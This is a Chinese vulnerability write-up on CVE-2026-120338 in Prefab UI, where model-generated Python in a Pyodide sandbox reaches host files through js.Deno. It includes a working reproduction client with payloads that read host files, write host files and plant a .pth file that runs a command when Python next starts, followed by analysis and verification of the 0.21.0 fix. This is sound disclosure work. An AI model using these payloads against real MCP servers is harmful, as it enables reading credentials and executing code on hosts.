本文内容仅供技术学习与交流使用,严禁用于任何非法用途。请遵守《中华人民共和国网络安全法》等相关法律法规,因违规使用产生的一切后果,由使用者自行承担,与作者无关。

一、引言

随着 AI Agent 逐渐具备代码生成与工具执行能力,越来越多的应用开始采用生成式 UI(Generative UI)技术,由大模型动态生成 Python 代码,并通过沙箱执行后构建交互界面。这种方式提高了应用的灵活性,同时也对不可信代码的执行隔离提出了更高要求。

目前,WebAssembly(WASM)已被应用于部分 AI 代码执行场景,通过独立运行环境和虚拟文件系统限制代码对宿主资源的访问。但当沙箱内部的代码能够通过跨语言接口调用宿主运行时 API 时,原有的权限隔离可能失效,本文以 Prefab UI 为研究对象,结合实际执行链、漏洞复现和源码分析,还原从 Pyodide 沙箱到 Deno 宿主文件系统的权限越界过程,并分析漏洞成因、实际危害及修复机制,为同类 Agent 代码执行环境的安全评估提供参考。

二、Prefab UI 的代码执行机制

2.1 生成式 UI 的执行流程

Prefab UI 是一个基于 Python 的组件化 UI 框架,支持通过 Python 代码构造文本、图表、表格及交互组件。

在传统的开发模式下,界面代码由开发者编写,随后经过测试和部署。而在 Generative UI 场景中,代码由大模型根据用户需求实时生成。

例如,模型可以生成:

from prefab_ui.components import Text

view = Text("Hello, Generative UI")

这段代码在执行后会产生一个 Prefab 组件,服务端将组件信息转换为结构化数据,再由客户端完成渲染。

当 Prefab UI 与 FastMCP 结合时,可以通过 GenerativeUI Provider 注册生成式 UI 工具。

对应的执行流程为:

这里存在一个重要区别:FastMCP 的 generate_prefab_ui 工具接收的不是组件配置,而是可以被 Python 解释器执行的源代码。

因此,服务端需要允许代码执行,但又不能让这段代码直接获得服务器的文件系统和网络权限。

Prefab UI 选择使用 Pyodide 承载这部分执行任务。

2.2 Pyodide 与 Deno 的运行环境

Pyodide 是基于 WebAssembly 的 Python 运行环境,可在 JavaScript Runtime 中运行 CPython 及相关 Python 包。Prefab UI 的生成式执行器并非为每次请求创建独立容器或虚拟机,而是由 Python 服务进程启动 Deno 子进程,在 Deno 中运行 runner.js 并加载 Pyodide。

其运行结构如下:

宿主操作系统
│
├── Python 服务进程
│   ├── FastMCP Server
│   ├── GenerativeUI Provider
│   └── PyodideSandbox
│
└── Deno 子进程
    └── runner.js
        └── Pyodide
            ├── Python Interpreter
            ├── Emscripten Virtual FS
            ├── Prefab Python Components
            └── 模型生成的 Python 代码

Pyodide 内部的常规 Python 文件操作默认作用于 Emscripten 虚拟文件系统;Deno 则作为真实的操作系统进程,提供受其自身权限机制及操作系统访问控制约束的文件、网络等原生 API。这两层运行环境并不天然共享同一套文件访问边界。

同时,Pyodide 支持 Python 与 JavaScript 的互操作。若不可信 Python 能访问 Deno 暴露的全局对象,执行器就需要确保这些对象不会向其传递超出预期的宿主权限。

2.3 漏洞影响范围

根据 JFrog 的公开公告,CVE-2026-120338 影响 Prefab UI 0.14.0 至 0.21.0 之前的版本。

项目

信息

漏洞编号

CVE-2026-120338

组件

prefab-ui

漏洞类型

宿主文件访问权限越界

受影响版本

>=0.14.0, <0.21.0

公开验证版本

0.20.2

修复版本

0.21.0

修复 PR

PrefectHQ/prefab#538

漏洞披露时间

2026 年 11 月 1 日

漏洞发现者

JFrog Security Research / Yuval Moravchick

该漏洞并不是安装 Prefab UI 后就能够直接利用。

攻击需要服务端启用相关 Generative UI 功能,并且安装 Deno,使外部提交的 Python 代码能够进入受影响的 Pyodide 执行器。

如果服务端没有启用对应执行入口,则这条攻击路径并不存在。

对于已经启用该功能的服务,攻击者还需要能够调用相关 MCP 工具。在未配置认证的 FastMCP 服务中,可访问该服务的客户端可能直接调用工具;如果配置了认证和权限控制,则需要具备对应工具调用权限。

此外,Deno 对宿主文件的访问仍受到操作系统权限限制。

例如,Deno 进程以普通用户身份运行时,并不能仅凭 --allow-write 修改当前账户无权写入的 root 所有文件。

因此,不能把本漏洞直接等同于系统提权或容器逃逸。

三、Pyodide 与 Deno 的文件访问边界

3.1 Pyodide 虚拟文件系统

在 Prefab UI 的默认执行环境中,Pyodide 通过 Emscripten 虚拟文件系统承载 Python 的常规文件操作。代码使用 open() 或 pathlib 创建的文件,默认保存在 Pyodide 内部的文件空间中,并不会自动映射为宿主操作系统的同名文件。

例如,在 Pyodide 中写入 /tmp/demo.txt,并不意味着 Deno 所在操作系统的 /tmp/demo.txt 也被创建。两者虽然可能具有相同的路径字符串,但对应的文件系统不同。

Pyodide 也支持额外的文件系统挂载和桥接机制,因此上述结论以执行器未将目标路径显式映射到宿主文件系统为前提。第四章将通过实际文件检查验证这一默认行为。

3.2 JavaScript 桥接

Pyodide 提供 js 模块,使 Python 能够访问承载它的 JavaScript 运行时中的全局对象。运行于 Deno 内部时,Python 可以通过该桥接接口获取 Deno 全局对象,例如:

import js

js.Deno

与 pathlib 等 Python 文件 API 不同,js.Deno.readTextFileSync() 和 js.Deno.writeTextFileSync() 调用的是 Deno 的原生文件接口。其最终文件操作对象是 Deno 进程可见的文件系统,而非 Pyodide 默认的虚拟文件系统。

两条访问路径的差异如下图所示:

因此,import js 本身不等于越权;能否真正读写宿主文件,还需要结合 Deno 在请求执行阶段实际持有的权限判断。

3.3 Deno 的权限控制

Deno 对文件读取、文件写入、网络连接及子进程执行等能力分别实施运行时权限检查。启动时可以通过参数授予相应权限:

Deno 参数

授权能力

--allow-read

读取文件系统中的文件

--allow-write

写入文件系统中的文件

--allow-net

发起网络连接

这些参数既可以限制到具体目录或目标,也可以不指定范围。若 Deno 使用未限定路径的 --allow-read 和 --allow-write 启动,文件读写在 Deno 运行时权限层面便不受特定目录约束。

这并不等于绕过操作系统访问控制。Deno 进程仍然受当前运行账户权限、文件所有权、挂载限制和其他系统安全机制约束。对于 Prefab UI,真正的风险在于:旧版 Deno 进程在初始化后没有及时撤销已授予的文件权限,而模型生成的 Python 代码可以借助 JavaScript 桥接继续调用这些能力。

3.4 宿主文件访问链

将外部工具入口与运行时权限串联,可以还原从模型生成代码到宿主文件系统的访问链:

攻击者并未直接获得宿主 Shell,也没有直接调用 Python 服务进程的文件 API。文件访问实际由 Deno 进程完成。越界的根源在于内层不可信代码能够使用外层运行时保留的宿主能力,而这一能力本应在进入不可信代码执行阶段前受到限制。

四、漏洞复现

实验通过本机运行的 FastMCP 服务提供 generate_prefab_ui 工具,使用独立的 MCP 客户端提交不同的 Python 代码,并在宿主终端核验文件操作结果。受影响版本采用 Prefab UI 0.20.2,修复版本采用 0.21.0。测试文件均为本地创建的无害标记文件,避免访问真实业务数据。

实验环境为 macOS,Python 运行于独立虚拟环境中,Deno 负责承载 Pyodide。普通 Python 文件写入、Deno 宿主文件读取和宿主文件写入均经过相同的 MCP 工具入口;通过对比返回内容、磁盘状态及 Deno 进程启动参数,可以确认权限边界变化所产生的实际效果。

4.1 环境搭建

本次使用 macOS 进行测试,Python 3.11 环境下分别安装 Prefab UI 0.20.2 和 0.21.0。测试中使用 Deno 2.9.8,并通过 pip show 确认 FastMCP 版本;相应的版本信息保留在环境截图中。Linux 环境也可用于复现,但进程检查命令和 .pth 触发样例需根据操作系统调整。

首先创建测试目录:

mkdir -p prefab-security-lab
cd prefab-security-lab

创建 Python 虚拟环境:

python3 -m venv .venv
source .venv/bin/activate

安装受影响版本:

python -m pip install \
  'prefab-ui==0.20.2' \
  'fastmcp[apps]'

安装完成后记录版本:

python --version
python -m pip show prefab-ui fastmcp

Deno 需要提前安装,并保证其可执行文件存在于 PATH 中。

deno --version

如果无法正常执行 deno --version,应先完成 Deno 安装和环境配置。

由于 FastMCP 和 Deno 的具体发行版本也会影响复现过程,建议保留完整依赖清单。安装成功后还需要实际确认 GenerativeUI Provider 能够注册,不能只依据包版本认定执行环境已经可用。

准备测试文件:

printf '这是敏感信息\n' \
  > /tmp/prefab-lab-host-source.txt

rm -f /tmp/prefab-lab-vfs.txt
rm -f /tmp/prefab-lab-host-written.txt

其中:

  • /tmp/prefab-lab-host-source.txt 用于验证宿主文件读取;

  • /tmp/prefab-lab-vfs.txt 用于验证普通 Python 虚拟文件操作;

  • /tmp/prefab-lab-host-written.txt 用于验证 Deno 宿主文件写入。

4.2 FastMCP 服务端

创建 server.py:

from fastmcp import FastMCP
from fastmcp.apps.generative import GenerativeUI

mcp = FastMCP("prefab-security-lab")

mcp.add_provider(GenerativeUI())

if __name__ == "__main__":
    mcp.run(
        transport="http",
        host="127.0.0.1",
        port=8127,
    )

这里通过 GenerativeUI() 注册生成式 UI 功能。

服务端会暴露用于执行 Prefab Python 代码的 MCP 工具。

启动服务:

python server.py

4.3 MCP 测试客户端

为了保留完整的工具调用过程,使用 FastMCP Client 向服务端发送请求,而不是直接调用内部 Sandbox.run()。

创建 client.py:

import asyncio
import json
import sys

from fastmcp import Client


CASES = {
    "baseline": '''
from prefab_ui.components import Text

view = Text("BASELINE_OK")
''',

    "vfs_write": '''
from pathlib import Path
from prefab_ui.components import Text

Path("/tmp/prefab-lab-vfs.txt").write_text(
    "VFS_ONLY",
    encoding="utf-8"
)

view = Text("VFS_WRITE_OK")
''',

    "host_read": '''
import js
from prefab_ui.components import Text

content = js.Deno.readTextFileSync(
    "/tmp/prefab-lab-host-source.txt"
)

view = Text("HOST_READ:" + str(content).strip())
''',

    "host_write": '''
import js
from prefab_ui.components import Text

js.Deno.writeTextFileSync(
    "/tmp/prefab-lab-host-written.txt",
    "HOST_WRITE_OK"
)

view = Text("HOST_WRITE_REQUESTED")
''',

    "pth_write": '''
import js
from prefab_ui.components import Text

js.Deno.writeTextFileSync(
    "/tmp/prefab-pth-lab/lib/python3.11/site-packages/prefab_lab.pth",
    'import subprocess; subprocess.Popen(["open", "-a", "Calculator"])\\n'
)

view = Text("PTH_WRITE_REQUESTED")
'''
}


async def main():
    if len(sys.argv) != 2:
        raise SystemExit(
            "Usage: python client.py <case>"
        )

    case = sys.argv[1]

    if case not in CASES:
        raise SystemExit(
            f"Unknown case: {case}"
        )

    async with Client(
        "http://127.0.0.1:8127/mcp/"
    ) as client:

        tools = await client.list_tools()

        names = [tool.name for tool in tools]

        print("Available tools:", names)

        if "generate_prefab_ui" not in names:
            raise RuntimeError(
                "generate_prefab_ui not found"
            )

        result = await client.call_tool(
            "generate_prefab_ui",
            {
                "code": CASES[case]
            }
        )

        print("Case:", case)

        if hasattr(result, "model_dump"):
            output = result.model_dump(mode="json")
        else:
            output = {
                "structured_content": getattr(result, "structured_content", None),
                "data": getattr(result, "data", None),
                "is_error": getattr(result, "is_error", None),
            }

        print(
            json.dumps(
                output,
                ensure_ascii=False,
                indent=2,
                default=str,
            )
        )


if __name__ == "__main__":
    asyncio.run(main())

客户端先调用 list_tools() 确认工具已经注册,再通过 call_tool() 提交 Python 代码。

所有实验共用同一个工具入口,只调整 code 参数中的文件操作逻辑。

FastMCP 4.1.6 返回的 CallToolResult 是 dataclass,没有 model_dump()。所以上面的客户端在没有该方法时,改为打印 structured_content。界面文本看 view.children[].content。

4.4 正常代码执行

首先验证基础的生成式 UI 功能:

python client.py baseline

该请求提交的代码为:

from prefab_ui.components import Text

view = Text("BASELINE_OK")

客户端实际返回包含 BASELINE_OK 的 Prefab 文本组件,说明 generate_prefab_ui 已完成工具注册、代码执行和组件数据返回。

4.5 Pyodide 虚拟文件操作

执行:

python client.py vfs_write

该用例通过 Python pathlib 创建一个文件:

Path("/tmp/prefab-lab-vfs.txt").write_text(
    "VFS_ONLY",
    encoding="utf-8"
)

通过宿主终端检查同名文件:

ls -l /tmp/prefab-lab-vfs.txt

实际结果为目标文件不存在,说明该操作未在宿主 /tmp 目录中创建同名文件。

这是因为 Python pathlib 操作的是 Pyodide 虚拟文件系统,而不是 Deno 所在操作系统的真实 /tmp。

这为后续 Deno 原生文件 API 的宿主访问结果提供了对照。

4.6 Deno 宿主文件读取

先确认宿主测试文件存在:

cat /tmp/prefab-lab-host-source.txt

内容为:

这是敏感信息

随后调用:

python client.py host_read

这一组代码不使用 Python 原生文件 API,而是调用:

import js

content = js.Deno.readTextFileSync(
    "/tmp/prefab-lab-host-source.txt"
)

受影响版本实际返回的组件内容包含宿主测试文件中的标记文本:

这是敏感信息

这一现象意味着,提交到 Pyodide 的 Python 代码读取到了真实宿主文件。

从权限边界看,发生了以下变化:

原本允许:
模型生成代码 → Pyodide 虚拟文件系统

实际获得:
模型生成代码 → Deno Runtime → 宿主文件

需要强调的是,读取测试标记只能证明当前 Deno 进程对该文件的访问能力,不能直接推广为可以读取所有系统文件。

4.7 Deno 宿主文件写入

执行:

python client.py host_write

该用例通过 Deno 原生文件 API 创建文件:

js.Deno.writeTextFileSync(
    "/tmp/prefab-lab-host-written.txt",
    "HOST_WRITE_OK"
)

随后在宿主终端检查:

ls -l /tmp/prefab-lab-host-written.txt

cat /tmp/prefab-lab-host-written.txt

文件实际出现,且内容为:

HOST_WRITE_OK

文件存在性与内容核验同时通过,说明提交到 Pyodide 的代码确实借助 Deno API 完成了宿主文件写入。

MCP 响应中的 HOST_WRITE_REQUESTED 仅表示代码执行到组件返回阶段。判断宿主写入成功仍须结合上面的文件存在性与内容检查。

4.8 Deno 进程身份与运行权限

完成宿主文件读写验证后,进一步检查 Deno 进程的运行身份及启动参数,确认 Pyodide 执行器实际使用的宿主权限。

本次实验使用 macOS,通过 pgrep 定位 Prefab UI 启动的 Deno 进程,再使用 ps 查看完整的进程信息:

ps -ww -o pid,ppid,user,group,args -p "$(pgrep -f 'prefab_ui/sandbox/runner.js')"

从执行结果可以看到,Deno 进程 PID 为 52508,父进程 PID 为 51959,运行用户为 fausto,组 ID 为 20。

完整的启动命令中包含:

/opt/homebrew/bin/deno run \
  --unstable-detect-cjs \
  --allow-read \
  --allow-write \
  --allow-net \
  /Users/fausto/.../.venv/lib/python3.11/site-packages/prefab_ui/sandbox/runner.js \
  /Users/fausto/.../.venv/lib/python3.11/site-packages/prefab_ui

可以确认,Prefab UI 使用本机安装的 Deno Runtime 承载 Pyodide,执行器脚本位于 Python 虚拟环境的 site-packages 目录中。

其中,三个权限参数直接影响 Deno 的宿主资源访问能力:

启动参数

授予的运行时权限

--allow-read

文件系统读取

--allow-write

文件系统写入

--allow-net

网络访问

这些参数没有指定文件目录或网络目标,因此 Deno 在运行时权限层面具有不受特定路径限制的文件读写能力,实际操作范围仍受 macOS 系统账户权限约束。

结合前面的宿主文件读写实验,可以进一步确认:模型生成的 Python 代码并不是通过 Pyodide 的普通虚拟文件系统访问宿主文件,而是通过 js 模块调用了 Deno 原生文件 API。

本次漏洞的关键在于,Deno 在执行不可信 Python 代码时仍然保留了文件读写权限,使 Pyodide 内的代码能够借助 JavaScript 桥接访问宿主文件系统。

4.9 文件访问结果对比

同一 MCP 工具入口下的各组测试产生了不同的文件访问结果:

测试项目

关键操作

Prefab UI 0.20.2 实际结果

正常 UI 生成

创建 Text 组件

成功返回组件数据

Pyodide 虚拟文件写入

Path.write_text()

Python 文件操作完成,宿主同名文件不存在

Deno 宿主文件读取

js.Deno.readTextFileSync()

宿主标记文件内容进入返回的 UI 组件

Deno 宿主文件写入

js.Deno.writeTextFileSync()

宿主出现新文件,内容为 HOST_WRITE_OK

上述请求均经 generate_prefab_ui 提交,区别只在于最终调用的文件访问接口。普通 Python 文件操作默认停留在 Pyodide 虚拟文件系统中;经 js.Deno 发起的文件操作则由 Deno 进程执行,并受其运行时权限与系统账户权限共同约束。对照结果说明,受影响版本在不可信代码执行阶段暴露了真实的宿主文件读写能力。

4.10 漏洞影响与安全风险

前面的实验使用 /tmp 目录下的无害标记文件验证访问边界。实际部署中,Deno 进程可能有权读取应用配置、缓存、工作目录及服务账户可访问的其他文件。如果这些文件包含业务凭据、令牌或敏感配置,攻击者就可能读取其内容,并通过生成的 UI 组件返回数据。

文件写入的风险则取决于服务账户能够修改的目标路径。如果应用目录、缓存目录或可加载配置文件对该账户开放写权限,不可信代码就可能修改宿主文件,影响后续服务行为或造成持久状态变化。这类操作不依赖 ../ 等路径穿越字符,而是直接利用外层运行时的文件 API。

需要区分的是,宿主文件读写能力并不自动等同于系统提权、容器逃逸或即时远程命令执行。其实际影响仍受到操作系统权限约束,进一步形成代码执行还需要目标文件可写且能够被可信程序加载或使用。下面以 Python 的 .pth 加载机制说明后一种情况。

五、危害扩展RCE

5.1 基于 .pth 加载机制的后续代码执行

Python 在常规启动过程中会初始化 site 模块,并处理相关 site-packages 目录中的 .pth 文件。这类文件除了用于扩展模块搜索路径,还允许以 import 开头、符合加载规则的代码行在解释器启动阶段执行;空行和注释行则不会作为可执行语句处理。

例如,下面这行内容如果被写入某个后续 Python 解释器会处理的 .pth 文件中,就可能在该解释器启动时调用 macOS 的计算器应用:

import subprocess; subprocess.Popen(["open", "-a", "Calculator"])

在受影响的 Prefab UI 中,若 Deno 进程有权写入目标 Python 环境的 site-packages 目录,模型生成的代码即可通过 js.Deno.writeTextFileSync() 写入包含上述 import 行的 .pth 文件。当该环境的后续 Python 进程启动并加载对应文件时,写入的代码便可能被执行。对应的调用及触发链如下:

这一执行路径成立需要同时满足三个条件:Deno 进程对目标 site-packages 目录具有写权限;目标 .pth 文件位于后续解释器实际处理的加载路径中;文件写入之后存在该解释器的启动过程。任何一个条件不满足,均不能仅凭宿主文件写入断定已实现后续代码执行。

5.2 从文件写入到代码执行的转换条件

第四章已经确认,受影响版本的模型生成代码能够通过 Deno 修改宿主文件。但文件写入本身只是一次数据修改,是否能够转化为后续进程中的代码执行,取决于被修改的文件是否参与可信程序的代码加载过程。

这种影响通常不是由一次文件写入立即产生,而是发生在后续可信程序加载或解析已被修改的文件时。两次操作的执行主体与发生时间不同:前者由不可信代码触发宿主文件写入,后者由可信进程在正常启动或运行流程中处理该文件。Python 的 .pth 启动加载机制便是这一类路径的具体实例。

5.3 .pth 后续代码执行验证

实验通过独立于 MCP 服务端的 Python 虚拟环境验证文件落地与后续解释器启动之间的关系。受影响版本的 generate_prefab_ui 工具只负责写入 .pth 文件,随后由一个新启动的 Python 解释器加载该文件。

5.3.1 构建隔离的 Python 验证环境

首先创建专用虚拟环境,并获取该环境实际使用的 site-packages 路径:

python3 -m venv /tmp/prefab-pth-lab
/tmp/prefab-pth-lab/bin/python -c \
'import sysconfig; print(sysconfig.get_path("purelib"))'

本次环境输出为:

/private/tmp/prefab-pth-lab/lib/python3.11/site-packages

在 macOS 中,/tmp 通常链接到 /private/tmp,因此本次实验使用 /tmp/prefab-pth-lab/lib/python3.11/site-packages/ 作为对应路径。不同 Python 版本的目录名可能不同,应以实际环境中的 purelib 输出为准。

写入前先清理并确认目标文件不存在,排除旧实验残留的影响:

rm -f /tmp/prefab-pth-lab/lib/python3.11/site-packages/prefab_lab.pth
ls -l /tmp/prefab-pth-lab/lib/python3.11/site-packages/prefab_lab.pth

本次检查返回 No such file or directory。

5.3.2 通过 Deno API 写入 .pth 文件

保持 Prefab UI 0.20.2 的 MCP 服务运行于 127.0.0.1:8127,使用客户端 pth_write 用例提交如下 Python 代码:

import js
from prefab_ui.components import Text

js.Deno.writeTextFileSync(
    "/tmp/prefab-pth-lab/lib/python3.11/site-packages/prefab_lab.pth",
    'import subprocess; subprocess.Popen(["open", "-a", "Calculator"])\n'
)

view = Text("PTH_WRITE_REQUESTED")

执行:

python client.py pth_write

MCP 返回的组件包含 PTH_WRITE_REQUESTED,表明生成式代码执行到了组件返回阶段。为了确认文件写入确实发生,还需要在宿主终端检查目标文件及其内容:

cat /tmp/prefab-pth-lab/lib/python3.11/site-packages/prefab_lab.pth

宿主中出现了 prefab_lab.pth,其内容与本次请求提交的 import subprocess; ... Calculator 语句一致。结合写入前目标文件不存在的检查,可确认文件是经该 MCP 请求触发的 Deno 宿主写入操作创建的。

5.3.3 验证后续 Python 进程执行

确认文件落地后,使用专用虚拟环境的解释器启动一个新的 Python 进程:

/tmp/prefab-pth-lab/bin/python -c 'print("python started")'

终端输出 python started,同时观察到计算器应用进程:

/System/Applications/Calculator.app/Contents/MacOS/Calculator

前后的文件状态和进程现象能够建立完整的因果关系:MCP 工具提交的代码通过 js.Deno 在宿主磁盘中创建 .pth 文件;随后启动的 Python 解释器加载该文件,触发其中的代码并启动计算器应用。

六、漏洞源码分析

第四章的测试表明,Prefab UI 0.20.2 接收的 Python 代码能够通过 js.Deno 读写宿主文件;而普通的 Python 文件操作仍处于 Pyodide 虚拟文件系统中。要解释这一差异,需要沿着实际执行链确认三个问题:外部代码如何进入执行器,Deno 在何时获得宿主权限,以及这些权限为什么能够作用于后续执行的不可信代码。

6.1 MCP 工具入口与代码参数传递

FastMCP 的 GenerativeUI Provider 负责向 MCP 客户端注册生成式 UI 工具。相关实现位于:

fastmcp_slim/fastmcp/apps/generative.py

源码参考:

FastMCP GenerativeUI 实现

Provider 使用 generate_prefab_ui 作为默认工具名称:

tool_name: str = "generate_prefab_ui"

在 _ensure_setup() 中,Provider 创建并注册工具,客户端提交的 code 参数随后进入生成式 UI 执行逻辑。

Prefab UI 0.20.2 的对应入口位于 src/prefab_ui/generative.py:

Prefab UI 0.20.2 generative.py

这一路径将外部 Python 源码交给 Sandbox 执行,再将执行结果转换为用于构建 UI 的组件数据。FastMCP 在此负责工具暴露和参数传递,并不是直接读写宿主文件的执行主体。

因此,外部代码能否触达宿主资源,取决于 Prefab UI 为该工具选择的 Sandbox,以及 Sandbox 内部的运行时权限配置。

6.2 Sandbox 选择与 Deno 子进程启动

Prefab UI 0.20.2 在 src/prefab_ui/sandbox/__init__.py 中配置了生成式执行器使用的 PyodideSandbox:

Prefab UI 0.20.2 sandbox/init.py

PyodideSandbox 并非直接在 FastMCP 的 Python 服务进程中执行模型代码,而是通过 Deno 子进程承载 Pyodide。子进程的启动逻辑位于 src/prefab_ui/sandbox/_pyodide.py,其中 _start() 使用 subprocess.Popen() 创建 Deno 进程。

Prefab UI 0.20.2 _pyodide.py

启动参数包含未限定具体路径的 --allow-read、--allow-write 以及 --allow-net:

这些参数意味着 Deno 在运行时权限层面具备文件读取、文件写入和网络访问能力,实际访问范围仍然受到进程所用系统账户及操作系统访问控制的约束。第四章的进程命令行截图同样记录了这组参数,可以将源码配置与实际运行状态对应起来。

此处只能确认 Deno 启动时获得了权限,还不能直接认定漏洞已经发生。关键还在于这些权限是否会一直保留到不可信 Python 代码真正被执行的时刻。

6.3 runner.js 的可信初始化与就绪信号

Deno 进程启动后执行 src/prefab_ui/sandbox/runner.js。该脚本首先加载 Pyodide,建立用于运行 Python 的 WebAssembly 环境。

Prefab UI 0.20.2 runner.js

随后,runner.js 读取 Prefab Python 源码,并将相关文件写入 Pyodide 的虚拟文件系统,以便后续 Python 代码能够加载 Prefab UI 组件。

这里需要区分两次不同的文件操作:Deno 使用其原生文件 API 读取宿主上的依赖和源码,是执行器初始化所需的正常行为;Pyodide 文件系统中的写入,则用于构建内层 Python 运行环境。外层 Deno 权限在这个阶段具有实际用途。

完成初始化并准备好代码执行环境后,旧版 runner.js 会输出就绪信号:

console.error("pyodide:ready");

父进程以该信号判断执行器已可处理后续请求。但在 0.20.2 的这段初始化逻辑中,没有在输出就绪信号之前撤销已授予 Deno 的文件与网络权限。 因而初始化阶段获得的宿主访问能力,仍会延续到后续请求处理阶段。

权限跨阶段保留本身是漏洞成立的必要条件之一;另一个必要条件是,后续接收的不可信 Python 代码能够调用 Deno 提供的相应接口。

6.4 不可信 Python 代码执行与宿主 API 调用

runner.js 在 Pyodide 环境中构造 Python Harness,利用 Python 内建 exec() 运行外部提交的源码。其关键执行逻辑如下:

在请求处理过程中,Deno 从标准输入接收 JSON 请求,再通过 pyodide.runPythonAsync(...) 调用上述 Python 执行逻辑:

由此,MCP 工具参数中的 code 最终进入 Python Harness,并被执行:

exec(_code, _ns)

exec() 是生成式 UI 的预期执行机制;仅凭这一调用并不能证明宿主权限越界。真正的问题在于,运行在 Deno 内部的 Pyodide 支持 js 桥接,使执行中的 Python 代码能够访问 Deno 的 JavaScript 全局对象。

例如,第四章使用的写入用例包含:

import js

js.Deno.writeTextFileSync(
    "/tmp/prefab-lab-host-written.txt",
    "HOST_WRITE_OK"
)

这次写入并不经过 Pyodide 的 pathlib 或 open() 文件操作路径,而是由外层 Deno 运行时执行。因此,是否能修改宿主文件,最终取决于 Deno 此时是否仍具有文件写入权限。

第 6.2 节已经确认旧版 Deno 启动时持有 --allow-write;第 6.3 节又确认初始化完成后未撤销该权限。两者叠加,使上述 js.Deno.writeTextFileSync() 在 0.20.2 中能够访问 Deno 进程有权写入的宿主文件,符合第四章的文件落地结果。

6.5 权限生命周期与漏洞成因

将上述源码行为按执行时间排列,权限变化与代码执行位置如下:

这里的失效点不是 Pyodide 的虚拟文件系统将文件错误映射到了宿主,也不是 Python exec() 额外取得了操作系统权限。真正跨越信任边界的是宿主运行时权限:为可信初始化授予 Deno 的文件访问能力,在处理模型生成的不可信代码时仍然有效,而 js 桥接使这些能力能够从内层 Python 代码中被调用。

因此,单纯依靠 Pyodide 默认虚拟文件系统限制 pathlib 或 open(),不足以阻止通过 js.Deno 发起的宿主访问;但这也不意味着执行器能够无视操作系统权限读取或修改任意文件。

这一成因也说明了修复需要控制的具体位置:在执行器完成必要初始化之后、开始处理不可信代码之前,收回外层 Deno 进程不再需要的宿主权限。Prefab UI 0.21.0 对这一权限时序的调整及实际验证结果见第七章。

七、修复机制分析

7.1 Deno 权限撤销机制

Prefab UI 0.21.0 对 Pyodide 执行器进行了修复。

修复 PR:

https://github.com/PrefectHQ/prefab/pull/538

其中,与本次漏洞直接相关的调整,是在初始化完成后主动撤销 Deno 的文件和网络权限。

在 0.21.0 的 runner.js 中,可以看到:

源码:

https://github.com/PrefectHQ/prefab/blob/v0.21.0/src/prefab_ui/sandbox/runner.js

这段代码有两个关键点。

第一,权限撤销发生在 Pyodide 初始化和 Harness 加载完成之后。

第二,权限撤销发生在输出 pyodide:ready 之前。

父进程需要等待就绪信号,才会将执行器用于处理请求。

因此,正常情况下外部代码进入 Pyodide 之前,Deno 的文件和网络访问权限已经被撤销。

修复后的执行时序为:

修复并没有完全移除 Python 与 JavaScript 的互操作能力,而是限制了通过该接口能够使用的宿主资源权限。

7.2 Deno 启动参数调整

除了权限撤销,0.21.0 还修改了 Deno 启动参数。

新版 _pyodide.py 中包含:

其中:

--no-prompt 用于禁止运行期间通过交互提示重新申请权限。

--allow-net=cdn.jsdelivr.net:443 将初始化阶段的网络许可限制到指定目标。

--lock、--frozen 和 --no-config 则用于加强运行环境的依赖及配置控制。

源码:

https://github.com/PrefectHQ/prefab/blob/v0.21.0/src/prefab_ui/sandbox/_pyodide.py

需要注意,修复版本在 Deno 启动参数中仍然保留 --allow-read 与 --allow-write。

原因是初始化过程确实需要读取源文件、加载依赖及写入必要缓存。

因此,直接在启动阶段禁用全部文件权限可能影响 Pyodide 的正常初始化。

因此,修复没有简单地删除全部权限参数,而是把权限分成两个阶段。

阶段

0.20.2

0.21.0

Deno 启动

读、写、网络权限

保留初始化所需权限

Pyodide 初始化

权限有效

权限有效

初始化完成

权限继续有效

撤销文件和网络权限

处理不可信代码

可使用仍有效的 Deno 文件权限

对应宿主文件访问受到限制

权限重新申请

未配置 --no-prompt

禁止交互式授权

核心变化不在于某个文件 API 被删除,而在于权限不再跨越可信初始化与不可信代码执行两个阶段。

7.3 修复版本验证

为验证 0.21.0 的修复效果,使用独立虚拟环境安装修复版本,并沿用第四章的 MCP 服务端、客户端及测试文件。测试前先停止旧版服务,避免客户端请求继续进入 0.20.2 的 Deno 执行器。

创建修复版本环境:

python3 -m venv .venv-fixed
source .venv-fixed/bin/activate

python -m pip install \
  'prefab-ui==0.21.0' \
  'fastmcp[apps]'

python -m pip freeze > requirements-fixed.txt

启动相同的 server.py,继续通过 generate_prefab_ui 工具提交测试代码。整个验证过程分别检查正常 UI 生成、宿主文件读取、宿主文件写入,以及目标文件在宿主磁盘上的实际状态。

(1)正常 UI 生成

执行:

python client.py baseline

测试结果中可以看到工具 generate_prefab_ui 正常注册,返回数据包含 BASELINE_OK,并且 is_error 为 false。说明修复版本仍能完成 Pyodide 中的常规组件生成与 MCP 工具结果返回,不存在因运行环境无法初始化而产生的整体执行失败。

(2)宿主文件读取受到拒绝

首先确认第四章准备的宿主标记文件仍然存在,随后执行:

python client.py host_read

本次工具调用未能读取宿主标记文件。终端错误堆栈的关键内容为:

NotCapable: Requires read access to '/tmp/prefab-lab-host-source.txt'

错误由 Deno 文件权限检查触发,并通过 Pyodide、FastMCP 工具调用链传递到客户端。与旧版直接返回文件内容不同,0.21.0 已拒绝这次 js.Deno.readTextFileSync() 请求。

(3)宿主文件写入受到拒绝

为了排除旧版实验残留文件造成的干扰,先清理写入目标:

rm -f /tmp/prefab-lab-host-written.txt

随后执行相同的写入用例:

python client.py host_write

客户端收到的异常中包含:

NotCapable: Requires write access to '/tmp/prefab-lab-host-written.txt'

这说明外部 Python 代码虽然仍能够通过 js 调用 Deno 文件 API,但 Deno 不再授予对应的宿主文件写入权限。此次失败发生在文件访问授权阶段,而不是依赖缺失、工具注册失败或执行器启动异常。

(4)宿主文件状态核验

最后检查写入目标:

ls -l /tmp/prefab-lab-host-written.txt

宿主终端返回 No such file or directory。结合写入前的清理操作及 NotCapable 错误,可以确认 0.21.0 下的测试请求未创建目标文件。

修复前后的验证结果如下:

验证项目

0.20.2

0.21.0

生成 Prefab 组件

成功

成功,返回 BASELINE_OK

读取宿主测试文件

成功,文件内容出现在组件返回值中

失败,NotCapable: Requires read access

写入宿主测试文件

成功,出现 HOST_WRITE_OK 文件

失败,NotCapable: Requires write access

宿主写入目标状态

文件实际存在

清理后未重新创建

结合 7.1 节的源码变化可见,修复并未禁用生成式 UI 的正常代码执行功能,而是在 Pyodide 完成初始化后、接收不可信代码前撤销 Deno 文件访问权限。因此,原本能够经 js.Deno 完成的宿主文件读写被运行时权限机制阻断。该结果与补丁调整的权限生命周期一致。

7.4 同类执行器的安全检查

